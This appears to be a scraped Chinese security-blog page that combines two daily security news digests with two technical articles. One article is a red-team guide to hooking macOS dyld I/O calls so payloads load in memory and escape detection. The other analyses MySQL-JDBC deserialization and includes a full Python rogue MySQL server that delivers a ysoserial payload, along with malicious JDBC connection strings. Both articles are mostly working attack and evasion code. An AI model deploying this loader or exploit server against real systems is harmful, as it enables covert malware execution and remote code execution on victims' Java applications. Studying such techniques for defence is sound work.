IOS逆向--恢复Dyld的内存加载方式
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。 @roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。 作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。 因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。 NS Link Module有何与众不同 由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。 该函数的签名为: NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... } 该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。 通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。 if ( ofi->memSource != nullptr ) { ... char        tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ... } 通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。 ... ofi->handle = dlopen_from(ofi->path, openMode, callerAddress); ... 因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。 那我们能否恢复dyld之前的内存加载特性呢? 我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢? 使用dyld进行hook 为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。 我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。 知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。 ldr x8, _value br x8 _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location 在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。 void *getDyldBase(void) {    struct task_dyld_info dyld_info;    mach_vm_address_t image_infos;    struct dyld_all_image_infos *infos;        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;    kern_return_t ret;        ret = task_info(mach_task_self_,                    TASK_DYLD_INFO,                   (task_info_t)&dyld_info,                    &count);        if (ret != KERN_SUCCESS) {        return NULL;   }        image_infos = dyld_info.all_image_info_addr;        infos = (struct dyld_all_image_infos *)image_infos;    return infos->dyldImageLoadAddress; } 只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。 bool searchAndPatch(char *base, char *signature, int length, void *target) {        char *patchAddr = NULL;    kern_return_t kret;        for(int i=0; i < 0x100000; i++) {        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {            patchAddr = base + i;            break;       }   }   ... 当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。 kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); if (kret != KERN_SUCCESS) {    return FALSE; } 注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。 设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。 // Copy our path memcpy(patchAddr, patch, sizeof(patch)); // Set the br address for our hook call *(void **)((char*)patchAddr + 16) = target; // Return exec permission kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); if (kret != KERN_SUCCESS) { return FALSE; } 现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。 由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。 那么,既然如此,我们该如何处理我们的hook程序呢? API模拟调用 有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。 如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。 首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。 如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。 #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-" const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {    char *alloc;    char filePath[PATH_MAX];    int newFlags;        memset(filePath, 0, sizeof(filePath));        // Check if the file is our "in-memory" file    if (fcntl(fd, F_GETPATH, filePath) != -1) {        if (strstr(filePath, FILENAME_SEARCH) > 0) {                        newFlags = MAP_PRIVATE | MAP_ANONYMOUS;            if (addr != 0) {                newFlags |= MAP_FIXED;           }                        alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);            memcpy(alloc, memoryLoadedFile+offset, len);            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);            return alloc;       }   }        // If for another file, we pass through    return mmap(addr, len, prot, flags, fd, offset); } 接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。 ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset 最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。 由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。 int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures 有了以上这些,然后我们可以把这一切组合起来。 int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {    @autoreleasepool {        char *dyldBase;        int fd;        int size;        void (*function)(void);        NSObjectFileImage fileImage;                // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/        size = readFile("/tmp/loadme", &memoryLoadedFile);        dyldBase = getDyldBase();        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);                // Set up blank content, same size as our Mach-O        char *fakeImage = (char *)malloc(size);        memset(fakeImage, 0x41, size);                // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image        fileImage = (NSObjectFileImage)malloc(1024);        *(void **)(((char*)fileImage+0x8)) = fakeImage;        *(void **)(((char*)fileImage+0x10)) = size;                void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);        void *symbol = NSLookupSymbolInModule(module, "runme");        function = NSAddressOfSymbol(symbol);        function();   } } 当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。 但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。 其他 所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。 事实证明,这个想法是正确的。比如: void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW); function = dlsym(a, "runme"); function(); 而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。 这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
网络安全日报 2023年02月02日
1、攻击者通过包含恶意VBA宏的Excel文档进行挖矿 https://www.fortinet.com/blog/threat-research/malicious-code-cryptojacks-device-to-mine-for-monero-crypto FortiGuard实验室最近捕获了Microsoft OLE复合文件格式的Excel文档,其中包含恶意VBA宏,它们的文件名分别为Pago_detalles.xls、makbuzu.xls和Pago.xls。三个Excel文档的内容和VBA项目都相似。文档内容是用西班牙语编写的,因此该活动针对的是讲西班牙语的人。研究人员深入研究发现,它们都属于同一个恶意活动,即加密系统用于挖掘Mo 2、攻击者使用冒充DocuSign的钓鱼邮件窃取用户凭据 https://www.armorblox.com/blog/breaking-the-impersonation-armorblox-stops-docusign-attack/ Armorblox研究人员观察到一次冒充知名品牌DocuSign的电子邮件攻击,目的是窃取敏感的登录凭据。这次品牌冒充攻击绕过了原生云和内联电子邮件安全解决方案,针对多个组织的1万多名终端用户。电子邮件的主题旨在向受害者营造紧迫感,并鼓励用户点击邮件中的链接。单击后,受害者将被导航到一个冒充Proofpoint Storage应用程序的虚假登录页面。钓鱼页面将收集受害者的Proofpoint ID以及登录凭据。 3、AMI MegaRAC BMC软件存在两个新的供应链漏洞 https://thehackernews.com/2023/02/additional-supply-chain-vulnerabilities.html 在AMI MegaRAC Baseboard Management Controller(BMC)软件中又披露了两个供应链安全漏洞,固件安全公司Eclypsium表示,两个新漏洞分别为:CVE-2022-26872(CVSS 评分:8.3),CVE-2022-40258(CVSS 分数:5.3)。CVE-2022-26872利用HTTP API欺骗用户通过社会工程攻击启动密码重置,并设置对手选择的密码。漏洞的影响范围目前未知,但Ecly 4、乌克兰黑客组织声称窃取俄罗斯Gazprom公司的数据 https://securityaffairs.com/141640/hacktivism/it-army-of-ukraine-hacked-gazprom.html 乌克兰IT军团(IT Army of Ukraine)宣布,他们已经获得了属于俄罗斯能源巨头Gazprom公司的1.5 GB档案。黑客组织在他们的Telegram频道上宣布了这次黑客攻击,声称这些档案包含了Gazprom公司的6000多份文件。该档案包含与金融和经济活动相关的信息、测试和钻井报告,以及Koviktinsky井(伊尔库茨克地区)自动化系统的实施和调整。乌克兰IT军团还发布了一份包含在Gazprom协议中的保密声 5、Charter Communications电信公司泄露了客户的数据 https://therecord.media/telecom-giant-charter-communications-says-third-party-vendor-had-security-breach/ Charter Communications电信公司表示,该公司的数据出现在黑客论坛上后,其公司的一家第三方供应商存在安全漏洞。1月26日,一名论坛用户发布了据称从该公司窃取的信息,其中包括约55万名客户的姓名、账号、地址等。黑客帖子称该数据库包含一系列关于维修和销售的信息。Charter Communications电信公司的发言人表示:“目前,我们不认为包含任何客户专有网络信息或 6、亲俄的 Killnet 组织攻击了荷兰和欧洲的医院 https://securityaffairs.com/141695/cyber-warfare-2/killnet-hit-dutch-european-hospitals.html 荷兰国家网络安全中心 (NCSC) 报告称,荷兰和欧洲多家医院的网站遭到亲俄黑客组织Killnet 发起的 DDoS 攻击。 7、新的 LockBit Green 勒索软件变体借用了 Conti 的代码 https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html Lockbit 勒索软件运营商发布了新版本的恶意软件 LockBit Green,旨在将基于云的服务纳入其目标。这是该臭名昭著的团伙继 Lockbit Red 和 Lockbit Black 之后开发的第三个版本的勒索软件。Lockbit RaaS 的附属机构可以使用 LockBit 门户上的构建器功能获得 LockBit Green。 8、研究人员披露了开源ImageMagick 软件中两个安全漏洞 https://thehackernews.com/2023/02/researchers-uncover-new-bugs-in-popular.html 网络安全研究人员披露了开源ImageMagick 软件中两个安全漏洞的详细信息,这些漏洞可能会导致拒绝服务 (DoS) 和信息泄露。这两个问题由拉丁美洲网络安全公司 Metabase Q 在 7.1.0-49版中发现,并在 2022 年 11 月发布的ImageMagick 7.1.0-52版中得到解决。漏洞简述如下——CVE-2022-44267 - 解析文件名为单破折号(“-”)的 PNG 图像时出现的 DoS。CVE-2022-4 9、新的 Sh1mmer ChromeBook 漏洞可取消注册受管设备 https://www.bleepingcomputer.com/news/security/new-sh1mmer-chromebook-exploit-unenrolls-managed-devices 一个名为“Sh1mmer”的新漏洞允许用户取消注册企业管理的 Chromebook,使他们能够安装他们想要的任何应用程序并绕过设备限制。 10、Google Fi 称黑客获取了客户的电话号码和账户信息 https://www.freebuf.com/articles/356199.html 美国移动电话运营商 Google Fi 近日表示,客户数据遭黑客泄露 。此次事件可能与1 月 19 日最近发生的T-Mobile 数据泄露事件有关,该事件涉及超过 3700 万 T-Mobile 客户。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
MySQL-JDBC反序列化分析
0x01 前言 听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。 0x02 JDBC 的基础 本来不太想写这点基础的,但想了想觉得还是要补一点。 JDBC 对数据库的操作一般有以下步骤: 1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。 2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。 3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。 4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。 5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。 例如创建一个数据库 // 步骤 1. 导入所需的软件包 import java.sql.*; public class JDBCExample {   // JDBC 驱动程序名称和数据库 URL   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";     static final String DB_URL = "jdbc:mysql://localhost/";   // 数据库凭证   static final String USER = "username";   static final String PASS = "password";     public static void main(String[] args) {   Connection conn = null;   Statement stmt = null;   try{      // 步骤 2:注册 JDBC 驱动程序      Class.forName("com.mysql.jdbc.Driver");      // 步骤 3:建立连接      System.out.println("Connecting to database...");      conn = DriverManager.getConnection(DB_URL, USER, PASS);      // 步骤 4:执行查询      System.out.println("Creating database...");      stmt = conn.createStatement();            String sql = "CREATE DATABASE STUDENTS";      stmt.executeUpdate(sql);      System.out.println("Database created successfully...");   }catch(SQLException se){      // 处理 JDBC 错误      se.printStackTrace();   }catch(Exception e){      // 处理 Class.forName 的错误      e.printStackTrace();   }finally{      // 用于关闭资源      try{         if(stmt!=null)            stmt.close();     }catch(SQLException se2){           }      try{         if(conn!=null)            conn.close();     }catch(SQLException se){         se.printStackTrace();     }   }// 结束 try   System.out.println("Goodbye!"); }// 结束 main }// 结束 JDBCExample 这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用 正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了 0x03 漏洞分析 漏洞原理 如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。 具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。 可被利用的两条查询语句: SHOW SESSION STATUS SHOW COLLATION 链子 pom.xml <dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version>   </dependency>   <dependency>    <groupId>mysql</groupId>    <artifactId>mysql-connector-java</artifactId>    <version>8.0.13</version>   </dependency> CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法 JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。 所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject() 根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析) ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。 最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap 44ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。 看一下 populateMapWithSessionStatusValues 方法的代码 先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。 漏洞复现 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。 环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下 我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下 import java.sql.*;     public class Test {      public static void main(String[] args) throws Exception {          Class.forName("com.mysql.jdbc.Driver");          String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +                  "&autoDeserialize=true" +                  "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";          Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");     }   } 通过 tcp.port == 3306 && mysql 来过滤协议 我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。 首先是 greeting 数据包 这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包 Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下 继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS 响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来 如此,构造出最后的 fake MySQL 服务端 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower() def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data)) def get_payload_content():    #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a    file= r'a'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")    else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6    return payload_content # 主要逻辑 def run():    while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))        # 1.先发送第一个 问候报文        send_data(conn,greeting_data)        while True:            # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)            #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢??                #获取payload                payload_content=get_payload_content()                #计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                #计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544                send_data(conn, payload)            break if __name__ == '__main__':    HOST ='0.0.0.0'    PORT = 3309    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sk.bind((HOST, PORT))    sk.listen(1)    print("start fake mysql server listening on {}:{}".format(HOST,PORT))    run() 在本地运行,并运行 JDBC 的连接代码 再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰 调试分析 在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析 往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap() ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。 在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据 从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞 不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo: "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +          "&autoDeserialize=true" +      "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 6.x 属性名不同,queryInterceptors 换为 statementInterceptors jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 包名中没有cj jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.x <= 5.1.10 同上,但需要连接后执行查询。 5.1.29 - 5.1.40 jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28 - 5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 0x04 小结 总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
网络安全日报 2023年02月01日
1、QNAP 严重漏洞导致代码注入 https://www.securityweek.com/critical-qnap-vulnerability-leads-to-code-injection/ QNAP Systems 本周发布了一个严重漏洞的警告,该漏洞可能允许攻击者在网络存储 (NAS) 设备上注入恶意代码。新披露的漏洞编号为CVE-2022-27596(CVSS 评分为 9.8),被描述为影响 QuTS hero 和 QTS 的 SQL 注入漏洞。“已报告一个漏洞影响运行 QTS 5.0.1 和 QuTS hero h5.0.1 的 QNAP 设备。如果被利用,此漏洞允许远程攻击者注入恶意代码,”QNAP 在其公告 2、GitHub 吊销被盗的 GitHub Desktop 和 Atom 代码签名证书 https://www.securityweek.com/github-revokes-code-signing-certificates-following-cyberattack/ 代码托管平台 GitHub 周一宣布吊销用于 GitHub Desktop 和 Atom 应用程序的三个数字证书。这三个证书于 2022 年 12 月 6 日被盗,此前未经授权的第三方使用受损的个人访问令牌 (PAT) 作为机器帐户从 Atom、GitHub Desktop 和其他已弃用的 GitHub 拥有的组织克隆存储库。GitHub 于 12 月 7 日撤销了泄露的凭据。 3、研究人员发布了VMware vRealize Log RCE 漏洞PoC https://securityaffairs.com/141628/hacking/vmware-vrealize-log-rce-poc-resealed.html Horizon3 安全研究人员发布了 VMware vRealize Log Insight RCE 漏洞 CVE-2022-31706(CVSS 9.8/10) 的概念验证 (PoC) 代码。PoC 利用代码将触发 VMware vRealize Log 中的一系列漏洞,以实现对易受攻击的安装的远程代码执行。 4、新版本的 Prilex PoS 恶意软件可以窃取NFC 交易数据 https://securelist.com/prilex-modification-now-targeting-contactless-credit-card-transactions/108569/ Prilex已经从以 ATM 为中心的恶意软件发展成为独特的模块化 PoS 恶意软件。这是一种高度先进的恶意软件,采用独特的加密方案,在目标软件中进行实时修补、强制协议降级、操纵密码、进行GHOST 交易和进行信用卡欺诈——即使是在受所谓不可破解的 CHIP 和 PIN 技术保护的卡上也是如此。 5、开源密码管理软件KeePass被发现存在安全漏洞 https://securityaffairs.com/141571/social-networks/facebook-instagram-bug.html 开源密码管理软件KeePass背后的开发团队正在争论一个新发现的漏洞,该漏洞允许攻击者以纯文本方式偷偷导出整个数据库。KeePass是一个非常流行的开源密码管理软件,它允许用户使用本地存储的数据库来管理密码,而不是像LastPass或Bitwarden这样的云托管数据库。新的漏洞现在被跟踪为CVE-2023-24055,它使攻击者能够对目标系统进行写访问,以更改KeePass XML配置文件并注入恶意触发器,以明文形式导出数据库,包括所 6、Zendesk员工被黑致用户个人信息外泄 https://www.10lun.com/article/176778.html 知名云计算客服软件企业Zendesk两周前通知客户,数名员工遭到钓鱼短信攻击被窃取资料,导致客户个人信息外泄。 7、黑客组织“晓骑营”攻陷韩国数十家网站 https://www.anquanke.com/post/id/285795 日前,韩国网络振兴院证实,韩国12家学术网站被黑客组织“晓骑营”攻击,至今网站还处于无法连接的状态。 8、Argo CD发布多个高危漏洞安全风险通告 https://www.secrss.com/articles/51419 Argo CD官方发布Argo CD身份认证绕过漏洞(CVE-2023-22482)和Argo CD授权绕过漏洞(CVE-2023-22736)通告。 9、NIST发布《人工智能风险管理框架》正式版 https://www.secrss.com/articles/51429 【据美国NIST网站1月26日报道】1月26日,《人工智能风险管理框架》(RMF)发布,旨在提供设计、开发、部署和使用人工智能系统的指南,降低应用人工智能技术的风险。 10、北欧现模仿Lockbit团伙的山寨网络犯罪分子 https://securityaffairs.com/141491/cyber-crime/crooks-mimicking-lockbit-gang.html 近日,关于针对北欧中小企业的基于 Lockbit locker 的攻击的报告表明,当地的网络骗子开始使用Lockbit locker 变种。最近,针对北欧公司的勒索软件攻击显着增加。这些攻击是使用 LockBit 变种进行。Lockbit 勒索软件集一直以各行各业的各种规模的公司为目标,造成了严重的破坏和财务损失。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月31日
